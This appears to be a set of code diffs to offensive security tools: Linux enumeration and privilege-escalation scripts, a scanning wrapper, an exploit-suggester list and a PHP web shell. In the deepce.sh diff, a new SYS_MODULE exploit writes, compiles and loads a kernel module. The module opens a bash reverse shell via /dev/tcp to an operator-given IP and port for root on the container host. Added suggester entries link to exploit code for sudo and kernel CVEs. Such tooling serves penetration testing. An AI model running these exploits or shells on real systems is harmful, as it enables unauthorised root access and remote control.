Project Update

LinEnum.sh

@@ -1,6 +1,6 @@
 #!/bin/bash
 #A script to enumerate local information from a Linux host
-version="version 0.98"
+version="version 0.982"
 #@rebootuser
 
 #help function
@@ -375,7 +375,9 @@ fi
 #current path configuration
 pathinfo=`echo $PATH 2>/dev/null`
 if [ "$pathinfo" ]; then
+  pathswriteable=`ls -ld $(echo $PATH | tr ":" " ")`
   echo -e "\e[00;31m[-] Path information:\e[00m\n$pathinfo" 
+  echo -e "$pathswriteable"
   echo -e "\n"
 fi
 
@@ -737,25 +739,25 @@ if [ "$postgver" ]; then
 fi
 
 #checks to see if any postgres password exists and connects to DB 'template0' - following commands are a variant on this
-postcon1=`psql -U postgres template0 -c 'select version()' 2>/dev/null | grep version`
+postcon1=`psql -U postgres -w template0 -c 'select version()' 2>/dev/null | grep version`
 if [ "$postcon1" ]; then
   echo -e "\e[00;33m[+] We can connect to Postgres DB 'template0' as user 'postgres' with no password!:\e[00m\n$postcon1" 
   echo -e "\n"
 fi
 
-postcon11=`psql -U postgres template1 -c 'select version()' 2>/dev/null | grep version`
+postcon11=`psql -U postgres -w template1 -c 'select version()' 2>/dev/null | grep version`
 if [ "$postcon11" ]; then
   echo -e "\e[00;33m[+] We can connect to Postgres DB 'template1' as user 'postgres' with no password!:\e[00m\n$postcon11" 
   echo -e "\n"
 fi
 
-postcon2=`psql -U pgsql template0 -c 'select version()' 2>/dev/null | grep version`
+postcon2=`psql -U pgsql -w template0 -c 'select version()' 2>/dev/null | grep version`
 if [ "$postcon2" ]; then
   echo -e "\e[00;33m[+] We can connect to Postgres DB 'template0' as user 'psql' with no password!:\e[00m\n$postcon2" 
   echo -e "\n"
 fi
 
-postcon22=`psql -U pgsql template1 -c 'select version()' 2>/dev/null | grep version`
+postcon22=`psql -U pgsql -w template1 -c 'select version()' 2>/dev/null | grep version`
 if [ "$postcon22" ]; then
   echo -e "\e[00;33m[+] We can connect to Postgres DB 'template1' as user 'psql' with no password!:\e[00m\n$postcon22" 
   echo -e "\n"
@@ -825,7 +827,8 @@ echo -e "\e[00;31m[-] Can we read/write sensitive files:\e[00m" ; ls -la /etc/pa
 echo -e "\n" 
 
 #search for suid files
-findsuid=`find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;`
+allsuid=`find / -perm -4000 -type f 2>/dev/null`
+findsuid=`find $allsuid -perm -4000 -type f -exec ls -la {} 2>/dev/null \;`
 if [ "$findsuid" ]; then
   echo -e "\e[00;31m[-] SUID files:\e[00m\n$findsuid" 
   echo -e "\n"
@@ -837,28 +840,29 @@ if [ "$export" ] && [ "$findsuid" ]; then
 fi
 
 #list of 'interesting' suid files - feel free to make additions
-intsuid=`find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null | grep -w $binarylist 2>/dev/null`
+intsuid=`find $allsuid -perm -4000 -type f -exec ls -la {} \; 2>/dev/null | grep -w $binarylist 2>/dev/null`
 if [ "$intsuid" ]; then
   echo -e "\e[00;33m[+] Possibly interesting SUID files:\e[00m\n$intsuid" 
   echo -e "\n"
 fi
 
-#lists word-writable suid files
-wwsuid=`find / -perm -4002 -type f -exec ls -la {} 2>/dev/null \;`
+#lists world-writable suid files
+wwsuid=`find $allsuid -perm -4002 -type f -exec ls -la {} 2>/dev/null \;`
 if [ "$wwsuid" ]; then
   echo -e "\e[00;33m[+] World-writable SUID files:\e[00m\n$wwsuid" 
   echo -e "\n"
 fi
 
 #lists world-writable suid files owned by root
-wwsuidrt=`find / -uid 0 -perm -4002 -type f -exec ls -la {} 2>/dev/null \;`
+wwsuidrt=`find $allsuid -uid 0 -perm -4002 -type f -exec ls -la {} 2>/dev/null \;`
 if [ "$wwsuidrt" ]; then
   echo -e "\e[00;33m[+] World-writable SUID files owned by root:\e[00m\n$wwsuidrt" 
   echo -e "\n"
 fi
 
 #search for sgid files
-findsgid=`find / -perm -2000 -type f -exec ls -la {} 2>/dev/null \;`
+allsgid=`find / -perm -2000 -type f 2>/dev/null`
+findsgid=`find $allsgid -perm -2000 -type f -exec ls -la {} 2>/dev/null \;`
 if [ "$findsgid" ]; then
   echo -e "\e[00;31m[-] SGID files:\e[00m\n$findsgid" 
   echo -e "\n"
@@ -870,21 +874,21 @@ if [ "$export" ] && [ "$findsgid" ]; then
 fi
 
 #list of 'interesting' sgid files
-intsgid=`find / -perm -2000 -type f  -exec ls -la {} \; 2>/dev/null | grep -w $binarylist 2>/dev/null`
+intsgid=`find $allsgid -perm -2000 -type f  -exec ls -la {} \; 2>/dev/null | grep -w $binarylist 2>/dev/null`
 if [ "$intsgid" ]; then
   echo -e "\e[00;33m[+] Possibly interesting SGID files:\e[00m\n$intsgid" 
   echo -e "\n"
 fi
 
 #lists world-writable sgid files
-wwsgid=`find / -perm -2002 -type f -exec ls -la {} 2>/dev/null \;`
+wwsgid=`find $allsgid -perm -2002 -type f -exec ls -la {} 2>/dev/null \;`
 if [ "$wwsgid" ]; then
   echo -e "\e[00;33m[+] World-writable SGID files:\e[00m\n$wwsgid" 
   echo -e "\n"
 fi
 
 #lists world-writable sgid files owned by root
-wwsgidrt=`find / -uid 0 -perm -2002 -type f -exec ls -la {} 2>/dev/null \;`
+wwsgidrt=`find $allsgid -uid 0 -perm -2002 -type f -exec ls -la {} 2>/dev/null \;`
 if [ "$wwsgidrt" ]; then
   echo -e "\e[00;33m[+] World-writable SGID files owned by root:\e[00m\n$wwsgidrt" 
   echo -e "\n"
@@ -1225,6 +1229,14 @@ if [ "$checkbashhist" ]; then
   echo -e "\n"
 fi
 
+#any .bak files that may be of interest
+bakfiles=`find / -name *.bak -type f 2</dev/null`
+if [ "$bakfiles" ]; then
+  echo -e "\e[00;31m[-] Location and Permissions (if accessible) of .bak file(s):\e[00m"
+  for bak in `echo $bakfiles`; do ls -la $bak;done
+  echo -e "\n"
+fi
+
 #is there any mail accessible
 readmail=`ls -la /var/mail 2>/dev/null`
 if [ "$readmail" ]; then

autorecon.py

@@ -23,31 +23,102 @@ import sys
 import time
 import toml
 import termios
+import appdirs
+import shutil
 
-def _quit():
-    termios.tcsetattr(sys.stdin.fileno(), termios.TCSADRAIN, TERM_FLAGS)
-
-atexit.register(_quit)
-
-TERM_FLAGS = termios.tcgetattr(sys.stdin.fileno())
-
+# Globals
 verbose = 0
-nmap = '-vv --reason -Pn'
-srvname = ''
+nmap = "-vv --reason -Pn"
+srvname = ""
 heartbeat_interval = 60
 port_scan_profile = None
-
 port_scan_profiles_config = None
 service_scans_config = None
 global_patterns = []
+username_wordlist = "/usr/share/seclists/Usernames/top-usernames-shortlist.txt"
+password_wordlist = "/usr/share/seclists/Passwords/darkweb2017-top100.txt"
+single_target = False
+only_scans_dir = False
 
-username_wordlist = '/usr/share/seclists/Usernames/top-usernames-shortlist.txt'
-password_wordlist = '/usr/share/seclists/Passwords/darkweb2017-top100.txt'
 
-rootdir = os.path.dirname(os.path.realpath(__file__))
+def _quit():
+    TERM_FLAGS = termios.tcgetattr(sys.stdin.fileno())
+    termios.tcsetattr(sys.stdin.fileno(), termios.TCSADRAIN, TERM_FLAGS)
+
+
+def _init():
+    global port_scan_profiles_config
+    global service_scans_config
+    global global_patterns
+
+    atexit.register(_quit)
+    appname = "AutoRecon"
+    rootdir = os.path.dirname(os.path.realpath(__file__))
+    default_config_dir = os.path.join(rootdir, "config")
+    config_dir = appdirs.user_config_dir(appname)
+    port_scan_profiles_config_file = os.path.join(config_dir, "port-scan-profiles.toml")
+    service_scans_config_file = os.path.join(config_dir, "service-scans.toml")
+    global_patterns_config_file = os.path.join(config_dir, "global-patterns.toml")
+
+    # Confirm this directory exists; if not, populate it with the default configurations
+    if not os.path.exists(config_dir):
+        os.makedirs(config_dir, exist_ok=True)
+        shutil.copy(
+            os.path.join(default_config_dir, "port-scan-profiles-default.toml"),
+            port_scan_profiles_config_file,
+        )
+        shutil.copy(
+            os.path.join(default_config_dir, "service-scans-default.toml"),
+            service_scans_config_file,
+        )
+        shutil.copy(
+            os.path.join(default_config_dir, "global-patterns-default.toml"),
+            global_patterns_config_file,
+        )
+
+
+    with open(port_scan_profiles_config_file, "r") as p:
+        try:
+            port_scan_profiles_config = toml.load(p)
+
+            if len(port_scan_profiles_config) == 0:
+                fail(
+                    "There do not appear to be any port scan profiles configured in the {port_scan_profiles_config_file} config file."
+                )
+
+        except toml.decoder.TomlDecodeError as e:
+            fail(
+                "Error: Couldn't parse {port_scan_profiles_config_file} config file. Check syntax and duplicate tags."
+            )
+
+    with open(service_scans_config_file, "r") as c:
+        try:
+            service_scans_config = toml.load(c)
+        except toml.decoder.TomlDecodeError as e:
+            fail(
+                "Error: Couldn't parse service-scans.toml config file. Check syntax and duplicate tags."
+            )
+
+    with open(global_patterns_config_file, "r") as p:
+        try:
+            global_patterns = toml.load(p)
+            if "pattern" in global_patterns:
+                global_patterns = global_patterns["pattern"]
+            else:
+                global_patterns = []
+        except toml.decoder.TomlDecodeError as e:
+            fail(
+                "Error: Couldn't parse global-patterns.toml config file. Check syntax and duplicate tags."
+            )
+
+    if "username_wordlist" in service_scans_config:
+        if isinstance(service_scans_config["username_wordlist"], str):
+            username_wordlist = service_scans_config["username_wordlist"]
+
+    if "password_wordlist" in service_scans_config:
+        if isinstance(service_scans_config["password_wordlist"], str):
+            password_wordlist = service_scans_config["password_wordlist"]
 
-single_target = False
-only_scans_dir = False
 
 def e(*args, frame_index=1, **kvargs):
     frame = sys._getframe(frame_index)
@@ -146,40 +217,6 @@ def calculate_elapsed_time(start_time):
 
     return ', '.join(elapsed_time)
 
-port_scan_profiles_config_file = 'port-scan-profiles.toml'
-with open(os.path.join(rootdir, 'autorecon_config', port_scan_profiles_config_file), 'r') as p:
-    try:
-        port_scan_profiles_config = toml.load(p)
-
-        if len(port_scan_profiles_config) == 0:
-            fail('There do not appear to be any port scan profiles configured in the {port_scan_profiles_config_file} config file.')
-
-    except toml.decoder.TomlDecodeError as e:
-        fail('Error: Couldn\'t parse {port_scan_profiles_config_file} config file. Check syntax and duplicate tags.')
-
-with open(os.path.join(rootdir, 'autorecon_config', 'service-scans.toml'), 'r') as c:
-    try:
-        service_scans_config = toml.load(c)
-    except toml.decoder.TomlDecodeError as e:
-        fail('Error: Couldn\'t parse service-scans.toml config file. Check syntax and duplicate tags.')
-
-with open(os.path.join(rootdir, 'autorecon_config', 'global-patterns.toml'), 'r') as p:
-    try:
-        global_patterns = toml.load(p)
-        if 'pattern' in global_patterns:
-            global_patterns = global_patterns['pattern']
-        else:
-            global_patterns = []
-    except toml.decoder.TomlDecodeError as e:
-        fail('Error: Couldn\'t parse global-patterns.toml config file. Check syntax and duplicate tags.')
-
-if 'username_wordlist' in service_scans_config:
-    if isinstance(service_scans_config['username_wordlist'], str):
-        username_wordlist = service_scans_config['username_wordlist']
-
-if 'password_wordlist' in service_scans_config:
-    if isinstance(service_scans_config['password_wordlist'], str):
-        password_wordlist = service_scans_config['password_wordlist']
 
 async def read_stream(stream, target, tag='?', patterns=[], color=Fore.BLUE):
     address = target.address
@@ -595,7 +632,7 @@ async def scan_services(loop, semaphore, target):
 
                                             pending.add(asyncio.ensure_future(run_cmd(semaphore, e(command), target, tag=tag, patterns=patterns)))
 
-def scan_host(target, concurrent_scans):
+def scan_host(target, concurrent_scans, outdir):
     start_time = time.time()
     info('Scanning target {byellow}{target.address}{rst}')
 
@@ -655,8 +692,18 @@ class Target:
         self.lock = None
         self.running_tasks = []
 
-if __name__ == '__main__':
 
+
+def main():
+    global single_target
+    global only_scans_dir
+    global port_scan_profile
+    global heartbeat_interval
+    global nmap
+    global srvname
+    global verbose
+
+    _init()
     parser = argparse.ArgumentParser(description='Network reconnaissance tool to port scan and automatically enumerate services found on multiple targets.')
     parser.add_argument('targets', action='store', help='IP addresses (e.g. 10.0.0.1), CIDR notation (e.g. 10.0.0.1/24), or resolvable hostnames (e.g. foo.bar) to scan.', nargs="*")
     parser.add_argument('-t', '--targets', action='store', type=str, default='', dest='target_file', help='Read targets from file.')
@@ -814,7 +861,7 @@ if __name__ == '__main__':
 
         for address in targets:
             target = Target(address)
-            futures.append(executor.submit(scan_host, target, concurrent_scans))
+            futures.append(executor.submit(scan_host, target, concurrent_scans, outdir))
 
         try:
             for future in as_completed(futures):
@@ -827,3 +874,8 @@ if __name__ == '__main__':
 
         elapsed_time = calculate_elapsed_time(start_time)
         info('{bgreen}Finished scanning all targets in {elapsed_time}!{rst}')
+
+
+if __name__ == '__main__':
+    main()
+

autorecon_config/service-scans.toml

@@ -126,12 +126,21 @@ ignore-service-names = [
     command = 'whatweb --color=never --no-errors -a 3 -v {scheme}://{address}:{port} 2>&1 | tee "{scandir}/{protocol}_{port}_{scheme}_whatweb.txt"'
 
     [[http.scan]]
-    name = 'nikto'
-    command = 'nikto -ask=no -h {scheme}://{address}:{port} 2>&1 | tee "{scandir}/{protocol}_{port}_{scheme}_nikto.txt"'
+    name = 'ffuf'
+    command = 'ffuf -u {scheme}://{address}:{port}/FUZZ -t 10 -w /usr/share/seclists/Discovery/Web-Content/common.txt -e ".txt,.html,.php,.asp,.aspx,.jsp" -v | tee {scandir}/{protocol}_{port}_{scheme}_ffuf.txt'
 
-    [[http.scan]]
-    name = 'gobuster'
-    command = 'if [[ `gobuster -h 2>&1 | grep -F "mode (dir)"` ]]; then gobuster -u {scheme}://{address}:{port}/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -e -k -l -s "200,204,301,302,307,401,403" -x "txt,html,php,asp,aspx,jsp" -o "{scandir}/{protocol}_{port}_{scheme}_gobuster.txt"; else gobuster dir -u {scheme}://{address}:{port}/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -z -k -l -x "txt,html,php,asp,aspx,jsp" -o "{scandir}/{protocol}_{port}_{scheme}_gobuster.txt"; fi'
+    [[http.manual]]
+    description = '(nikto) old but generally reliable web server enumeration tool'
+    commands = [
+        'nikto -ask=no -h {scheme}://{address}:{port} 2>&1 | tee "{scandir}/{protocol}_{port}_{scheme}_nikto.txt"'
+    ]
+
+    [[http.manual]]
+    description = '(ffuf) Multi-threaded recursive directory/file enumeration for web servers using various wordlists:'
+    commands = [
+        'ffuf -u {scheme}://{address}:{port}/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt -e ".txt,.html,.php,.asp,.aspx,.jsp" -v | tee {scandir}/{protocol}_{port}_{scheme}_ffuf_big.txt',
+        'ffuf -u {scheme}://{address}:{port}/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e ".txt,.html,.php,.asp,.aspx,.jsp" -v | tee {scandir}/{protocol}_{port}_{scheme}_ffuf_dirbuster.txt'
+    ]
 
     [[http.manual]]
     description = '(dirsearch) Multi-threaded recursive directory/file enumeration for web servers using various wordlists:'

deepce.sh

@@ -67,6 +67,7 @@ Usage: ${0##*/} [OPTIONS...]
     SOCK                 use an exposed docker sock to create a new container and mount root partition to priv esc
     CVE-2019-5746
     CVE-2019-5021
+    SYS_MODULE           Exploit the SYS_MODULE privilege to create a malicious kernel module and obtain root on the host
 
   ${DG}[Payloads & Options]$NC
   -i, --ip               The local host IP address for reverse shells to connect to
@@ -125,6 +126,8 @@ TIP_CVE_2019_5021="Alpine linux version 3.3.x-3.5.x accidentally allow users to
 TIP_CVE_2019_13139="Docker versions before 18.09.4 are vulnerable to a command execution vulnerability when parsing URLs"
 TIP_CVE_2019_5736="Docker versions before 18.09.2 are vulnerable to a container escape by overwriting the runC binary"
 
+TIP_SYS_MODULE="Giving the container the SYS_MODULE privilege allows for kernel modules to be mounted. Using this, a malicious module can be used to execute code as root on the host."
+
 DANGEROUS_GROUPS="docker\|lxd\|root\|sudo\|wheel"
 DANGEROUS_CAPABILITIES="cap_sys_admin\|cap_sys_ptrace\|cap_sys_module\|dac_read_search\|dac_override"
 
@@ -1112,6 +1115,112 @@ exploitDockerSock() {
   # TODO: Tidy up command
 }
 
+exploitSysModule(){
+  printSection "Exploiting SYS_MODULE"
+  printTip "$TIP_SYS_MODULE"
+
+  if ! [ -x "$(command -v capsh)" ]; then
+    printError "capsh is required to run this exploit."
+    exit 1
+  fi
+
+  if ! [ -x "$(command -v make)" ]; then
+    printError "make is required to run this exploit."
+    exit 1
+  fi
+
+  if ! [ -x "$(command -v insmod)" ]; then
+    printError "insmod is required to run this exploit."
+    exit 1
+  fi
+
+  if ! [ -d "/lib/modules/$(uname -r)" ]; then
+    printError "Linux headers for $(uname -r) are required to run this exploit."
+    exit 1
+  fi
+
+  caps=$(capsh --print)
+  if ! echo "$caps" | grep -qa "cap_sys_module" ; then
+    printError "We don't have the SYS_MODULE capability, which is required for this exploit"
+    exit 1
+  fi
+
+  if [ -z "$ip" ]; then
+    printError "Missing reverse shell IP : use --ip"
+    exit 1
+  fi
+
+  if [ -z "$port" ]; then
+    printError "Missing reverse shell port : use --port"
+    exit 1
+  fi
+  
+  module_name=$(tr -dc A-Za-z </dev/urandom | head -c 13)
+  sys_cwd=$(pwd)
+
+  mkdir /dev/shm/rev && cd /dev/shm/rev || exit 1
+
+  printQuestion "Writing scripts..."
+
+  # POC modified from https://blog.pentesteracademy.com/abusing-sys-module-capability-to-perform-docker-container-breakout-cf5c29956edd
+cat << EOF > "$module_name.c"
+#include <linux/kmod.h>
+#include <linux/module.h>
+MODULE_LICENSE("GPL");
+MODULE_AUTHOR("AttackDefense");
+MODULE_DESCRIPTION("LKM reverse shell module");
+MODULE_VERSION("1.0");
+char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/$ip/$port 0>&1", NULL};
+static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
+static int __init ${module_name}_init(void) {
+return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
+}
+static void __exit ${module_name}_exit(void) {
+}
+module_init(${module_name}_init);
+module_exit(${module_name}_exit);
+EOF
+
+cat << EOF > Makefile
+obj-m +=${module_name}.o
+all:
+	make -C /lib/modules/$(uname -r)/build M=$(pwd) modules
+clean:
+	make -C /lib/modules/$(uname -r)/build M=$(pwd) clean
+EOF
+
+  printSuccess "Done"
+
+  printQuestion "Compiling kernel module..."
+
+  if make 1>/dev/null ; then
+    printSuccess "Done"
+  else
+    printError "Failed to make. Do you have all the required libraries installed?"
+    exit 1
+  fi
+
+  printQuestion "Mounting kernel module..."
+
+  if insmod "$module_name.ko" 1>/dev/null ; then
+    printSuccess "Done"
+  else
+    printError "Failed to mount module"
+    exit 1
+  fi
+
+  printQuestion "Cleaning up..."
+
+  rm -r /dev/shm/rev
+
+  cd "$sys_cwd" || exit
+
+  printSuccess "Done"
+
+  printSuccess "Check your reverse shell handler!"
+
+}
+
 ###########################################
 #--------------) Arg Parse (--------------#
 ###########################################
@@ -1246,6 +1355,9 @@ if [ "$exploit" ]; then
   sock | SOCK)
     exploitDockerSock
     ;;
+  sys | SYS | sys_module | SYS_MODULE)
+    exploitSysModule
+    ;;
   *)
     echo "Unknown exploit $1"
     exit 1

linux-exploit-suggester.sh

@@ -256,21 +256,39 @@ EOF
 )
 
 EXPLOITS[((n++))]=$(cat <<EOF
-Name: ${txtgrn}[CVE-2009-2698]${txtrst} udp_sendmsg (by spender)
+Name: ${txtgrn}[CVE-2009-2698]${txtrst} the rebel (udp_sendmsg)
 Reqs: pkg=linux-kernel,ver>=2.6.1,ver<=2.6.19
-Tags:
+Tags: debian=4
 Rank: 1
 src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9574.tgz
 exploit-db: 9574
+analysis-url: https://blog.cr0.org/2009/08/cve-2009-2698-udpsendmsg-vulnerability.html
+author: spender
+Comments: /proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed
 EOF
 )
 
 EXPLOITS[((n++))]=$(cat <<EOF
-Name: ${txtgrn}[CVE-2009-2698]${txtrst} udp_sendmsg
-Reqs: pkg=linux-kernel,ver>=2.6.1,ver<=2.6.19
+Name: ${txtgrn}[CVE-2009-2698]${txtrst} hoagie_udp_sendmsg
+Reqs: pkg=linux-kernel,ver>=2.6.1,ver<=2.6.19,x86
 Tags: debian=4
 Rank: 1
 exploit-db: 9575
+analysis-url: https://blog.cr0.org/2009/08/cve-2009-2698-udpsendmsg-vulnerability.html
+author: andi
+Comments: Works for systems with /proc/sys/vm/mmap_min_addr equal to 0
+EOF
+)
+
+EXPLOITS[((n++))]=$(cat <<EOF
+Name: ${txtgrn}[CVE-2009-2698]${txtrst} katon (udp_sendmsg)
+Reqs: pkg=linux-kernel,ver>=2.6.1,ver<=2.6.19,x86
+Tags: debian=4
+Rank: 1
+src-url: https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack/raw/master/2009/CVE-2009-2698/katon.c
+analysis-url: https://blog.cr0.org/2009/08/cve-2009-2698-udpsendmsg-vulnerability.html
+author: VxHell Labs
+Comments: Works for systems with /proc/sys/vm/mmap_min_addr equal to 0
 EOF
 )
 
@@ -279,7 +297,10 @@ Name: ${txtgrn}[CVE-2009-2698]${txtrst} ip_append_data
 Reqs: pkg=linux-kernel,ver>=2.6.1,ver<=2.6.19,x86
 Tags: fedora=4|5|6,RHEL=4
 Rank: 1
+analysis-url: https://blog.cr0.org/2009/08/cve-2009-2698-udpsendmsg-vulnerability.html
 exploit-db: 9542
+author: p0c73n1
+Comments: Works for systems with /proc/sys/vm/mmap_min_addr equal to 0
 EOF
 )
 
@@ -871,6 +892,18 @@ author: Vitaly 'vnik' Nikolenko
 EOF
 )
 
+EXPLOITS[((n++))]=$(cat <<EOF
+Name: ${txtgrn}[CVE-2021-27365]${txtrst} linux-iscsi
+Reqs: pkg=linux-kernel,ver<=5.11.3,CONFIG_SLAB_FREELIST_HARDENED!=y
+Tags: RHEL=8
+Rank: 1
+analysis-url: https://blog.grimm-co.com/2021/03/new-old-bugs-in-linux-kernel.html
+src-url: https://codeload.github.com/grimm-co/NotQuite0DayFriday/zip/trunk
+Comments: CONFIG_SLAB_FREELIST_HARDENED must not be enabled
+author: GRIMM
+EOF
+)
+
 ############ USERSPACE EXPLOITS ###########################
 n=0
 
@@ -1399,6 +1432,38 @@ Comments: Requires an administrator to login via the web interface.
 EOF
 )
 
+EXPLOITS_USERSPACE[((n++))]=$(cat <<EOF
+Name: ${txtgrn}[CVE-2021-3156]${txtrst} sudo Baron Samedit
+Reqs: pkg=sudo,ver<1.9.5p2
+Tags: mint=19,ubuntu=18|20, debian=10
+Rank: 1
+analysis-url: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
+src-url: https://codeload.github.com/blasty/CVE-2021-3156/zip/main
+author: blasty
+EOF
+)
+
+EXPLOITS_USERSPACE[((n++))]=$(cat <<EOF
+Name: ${txtgrn}[CVE-2021-3156]${txtrst} sudo Baron Samedit 2
+Reqs: pkg=sudo,ver<1.9.5p2
+Tags: centos=6|7|8,ubuntu=14|16|17|18|19|20, debian=9|10
+Rank: 1
+analysis-url: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
+src-url: https://codeload.github.com/worawit/CVE-2021-3156/zip/main
+author: worawit
+EOF
+)
+
+EXPLOITS_USERSPACE[((n++))]=$(cat <<EOF
+Name: ${txtgrn}[CVE-2017-5618]${txtrst} setuid screen v4.5.0 LPE
+Reqs: pkg=screen,ver==4.5.0
+Tags: 
+Rank: 1
+analysis-url: https://seclists.org/oss-sec/2017/q1/184
+exploit-db: https://www.exploit-db.com/exploits/41154
+EOF
+)
+
 ###########################################################
 ## security related HW/kernel features
 ###########################################################

p0wny-shell.php

@@ -119,6 +119,22 @@ if (isset($_GET["feature"])) {
                 font-family: monospace;
             }
 
+            *::-webkit-scrollbar-track {
+                border-radius: 8px;
+                background-color: #353535;
+            }
+
+            *::-webkit-scrollbar {
+                width: 8px;
+                height: 8px;
+            }
+
+            *::-webkit-scrollbar-thumb {
+                border-radius: 8px;
+                -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
+                background-color: #bcbcbc;
+            }
+
             #shell {
                 background: #222;
                 max-width: 800px;
@@ -146,7 +162,8 @@ if (isset($_GET["feature"])) {
 
             @media (max-width: 991px) {
                 #shell-logo {
-                    display: none;
+                    font-size: 6px;
+                    margin: -25px 0;
                 }
 
                 html, body, #shell {
@@ -166,6 +183,12 @@ if (isset($_GET["feature"])) {
                 }
             }
 
+            @media (max-width: 320px) {
+                #shell-logo {
+                    font-size: 5px;
+                }
+            }
+
             .shell-prompt {
                 font-weight: bold;
                 color: #75DF0B;
@@ -231,6 +254,10 @@ if (isset($_GET["feature"])) {
                 eShellContent.scrollTop = eShellContent.scrollHeight;
             }
 
+            function _defer(callback) {
+                setTimeout(callback, 0);
+            }
+
             function featureShell(command) {
 
                 _insertCommand(command);
@@ -372,8 +399,10 @@ if (isset($_GET["feature"])) {
                         if (historyPosition > 0) {
                             historyPosition--;
                             eShellCmdInput.blur();
-                            eShellCmdInput.focus();
                             eShellCmdInput.value = commandHistory[historyPosition];
+                            _defer(function() {
+                                eShellCmdInput.focus();
+                            });
                         }
                         break;
                     case "ArrowDown":
@@ -427,6 +456,20 @@ if (isset($_GET["feature"])) {
                 xhr.send(getQueryString());
             }
 
+            document.onclick = function(event) {
+                event = event || window.event;
+                var selection = window.getSelection();
+                var target = event.target || event.srcElement;
+
+                if (target.tagName === "SELECT") {
+                    return;
+                }
+
+                if (!selection.toString()) {
+                    eShellCmdInput.focus();
+                }
+            };
+
             window.onload = function() {
                 eShellCmdInput = document.getElementById("shell-cmd");
                 eShellContent = document.getElementById("shell-content");

unix-privesc-check.sh

@@ -1,1086 +1,137 @@
 #!/bin/sh
-# unix-privesc-check - Checks Unix system for simple privilege escalations
-# Copyright (C) 2008 pentestmonkey@pentestmonkey.net
-#
-#
-# License
-# -------
-# This tool may be used for legal purposes only.  Users take full responsibility
-# for any actions performed using this tool.  The author accepts no liability
-# for damage caused by this tool.  If you do not accept these condition then
-# you are prohibited from using this tool.
-#
-# In all other respects the GPL version 2 applies:
+# $Revision$
 #
 # This program is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License version 2 as
-# published by the Free Software Foundation.
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
 #
 # This program is distributed in the hope that it will be useful,
 # but WITHOUT ANY WARRANTY; without even the implied warranty of
 # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 # GNU General Public License for more details.
 #
-# You should have received a copy of the GNU General Public License along
-# with this program; if not, write to the Free Software Foundation, Inc.,
-# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# You are encouraged to send comments, improvements or suggestions to
-# me at pentestmonkey@pentestmonkey.net
-#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 #
-# Description
-# -----------
-# Auditing tool to check for weak file permissions and other problems that
-# may allow local attackers to escalate privileges.
-#
-# It is intended to be run by security auditors and pentetration testers
-# against systems they have been engaged to assess, and also by system
-# admnisitrators who want to check for "obvious" misconfigurations.  It
-# can even be run as a cron job so you can check regularly for misconfigurations
-# that might be introduced.
-#
-# Ensure that you have the appropriate legal permission before running it
-# someone else's system.
-#
-# TODO List
-# ---------
-# There's still plenty that this script doesn't do...
-# - Doesn't work for shell scripts!  These appear as "/bin/sh my.sh" in the process listing.
-#   This script only checks the perms of /bin/sh.  Not what we're after.  :-(
-# - Similarly for perl scripts.  Probably python, etc. too.
-# - Check /proc/pid/cmdline for absolute path names.  Check security of these (e.g. /etc/snmp/snmpd.conf)
-# - Check everything in root's path - how to find root's path?
-# - /proc/pid/maps, smaps are readable and lists some shared objects.  We should check these.
-# - /proc/pid/fd contain symlinks to all open files (but you can't see other people FDs)
-# - check for trust relationships in /etc/hosts.equiv
-# - NFS imports / exports / automounter
-# - Insecure stuff in /etc/fstab (e.g. allowing users to mount file systems)
-# - Inspecting people's PATH.  tricky.  maybe read from /proc/pid/environ, .bashrc, /etc/profile, .bash_profile
-# - Check if /etc/init.d/* scripts are readable.  Advise user to audit them if they are.
-# - .exrc?
-# - X11 trusts, apache passwd files, mysql trusts?
-# - Daemons configured in an insecure way: tftpd, sadmind, rexd
-# - World writable dirs aren't as bad if the sticky bit is set.  Check for this before reporting vulns.
-# - Maybe do a strings of binaries (and their .so's?)
-# - Do a better job of parsing cron lines - search for full paths
-# - Maybe LDPATHs from /etc/env.d
-# - Check if ldd, ld.so.conf changes have broken this script on non-linux systems.
-# - Avoid check certain paths e.g. /-/_ clearly isn't a real directory.
-# - create some sort of readable report
-# - indicate when it's likely a result is a false positive and when it's not.
-# - Skip pseudo processes e.g. [usb-storage]
-# - File permission on kernel modules
-# - Replace calls to echo with a my_echo func.  Should be passed a string and an "importance" value:
-#   - my_echo 1 "This is important and should always be printed out"
-#   - my_echo 2 "This is less important and should only be printed in verbose mode"
-# - We check some files / dirs multiple times.  Slow.  Can we implement a cache?
-# - grep for PRIVATE KEY to find private ssh and ssl keys.  Where to grep?
-# - check SGID programs
-
-VERSION="1.4"
-HOME_DIR_FILES=".netrc .ssh/id_rsa .ssh/id_dsa .rhosts .shosts .my.cnf .ssh/authorized_keys .bash_history .sh_history .forward"
-CONFIG_FILES="/etc/passwd /etc/group /etc/master.passwd /etc/inittab /etc/inetd.conf /etc/xinetd.con /etc/xinetd.d/* /etc/contab /etc/fstab /etc/profile /etc/sudoers"
-PGDIRS="/usr/local/pgsql/data ~postgres/postgresql/data ~postgres/data ~pgsql/data ~pgsql/pgsql/data /var/lib/postgresql/data /etc/postgresql/8.2/main /var/lib/pgsql/data"
-
-get_owner () {
-	GET_OWNER_FILE=$1
